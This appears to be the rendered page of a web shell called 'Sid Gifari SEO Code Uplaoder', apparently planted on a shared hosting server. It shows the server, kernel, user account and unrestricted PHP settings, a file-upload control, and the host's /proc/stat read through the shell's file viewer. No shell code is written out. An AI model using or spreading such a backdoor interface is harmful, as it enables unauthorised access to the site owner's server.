Sid Gifari SEO Code Uplaoder

Sid Gifari SEO Code Uplaoder

Telegram:sidgifari

Upload File:
HEX
HEX
Server: LiteSpeed
System: Linux premium311.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: scepbisv (1262)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: //proc/stat
cpu  7181557988 115926524 1729476896 7199734436 454706522 0 251106190 9169045 0 0
cpu0 296027924 4879040 72523541 301623859 19209586 0 11986036 362480 0 0
cpu1 299522043 4783420 72059184 299855224 18951007 0 11037624 356299 0 0
cpu2 299055166 4851263 72165645 300246352 19023183 0 10761958 356203 0 0
cpu3 299312783 4847494 72075489 300120077 19024608 0 10577611 356484 0 0
cpu4 300534492 4854032 72213811 300316642 19078464 0 9066714 355485 0 0
cpu5 300401636 4834706 72187513 300533135 19085369 0 8955457 354934 0 0
cpu6 300375741 4806039 72215059 300612976 19070095 0 8888049 354573 0 0
cpu7 299427504 4833417 72324716 301349512 19125418 0 8854499 355672 0 0
cpu8 299097752 4872222 72097523 300357994 19015808 0 10257389 356821 0 0
cpu9 299343810 4822148 72103819 300332922 19049829 0 10085657 356161 0 0
cpu10 299475157 4834594 72094417 300250405 18990357 0 10064987 357052 0 0
cpu11 301009746 4844522 72031756 297460335 18565700 0 8596856 557538 0 0
cpu12 298911665 4831253 72171571 300675418 19018318 0 10023012 357070 0 0
cpu13 299025462 4828973 72086553 300679771 19016672 0 10010399 356071 0 0
cpu14 299520097 4784235 72046952 300336680 18995561 0 9996253 357006 0 0
cpu15 295552538 4785378 71345797 297040108 18446648 0 18219861 458303 0 0
cpu16 294550190 4766533 71329432 295527874 18409840 0 20534713 462955 0 0
cpu17 299759743 4872314 71948562 300107685 19017314 0 9953147 356874 0 0
cpu18 299012112 4792930 71966689 300661600 18972840 0 10225866 361928 0 0
cpu19 299648697 4831066 71945723 300137360 18969373 0 10109532 359206 0 0
cpu20 300457614 4849580 72105299 300740325 19037027 0 8588009 354372 0 0
cpu21 299771574 4836591 72173652 301354079 19055879 0 8588015 354782 0 0
cpu22 299729744 4835998 72209879 301358377 19054216 0 8582650 354115 0 0
cpu23 302034784 4848763 72054302 298055712 18523396 0 7141885 556649 0 0
intr 81350159101 157 9 0 0 349 0 0 0 1 0 0 0 984 0 7017724 0 0 0 0 0 0 0 0 0 0 20 0 4286824182 0 0 2104520011 0 2106174662 2090943055 0 304637244 307608408 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 296815032247
btime 1759829656
processes 1688007381
procs_running 61
procs_blocked 0
softirq 145869005990 1 3512272212 7982 1784951317 4003597206 0 1303221784 4267108894 1939160 2146888554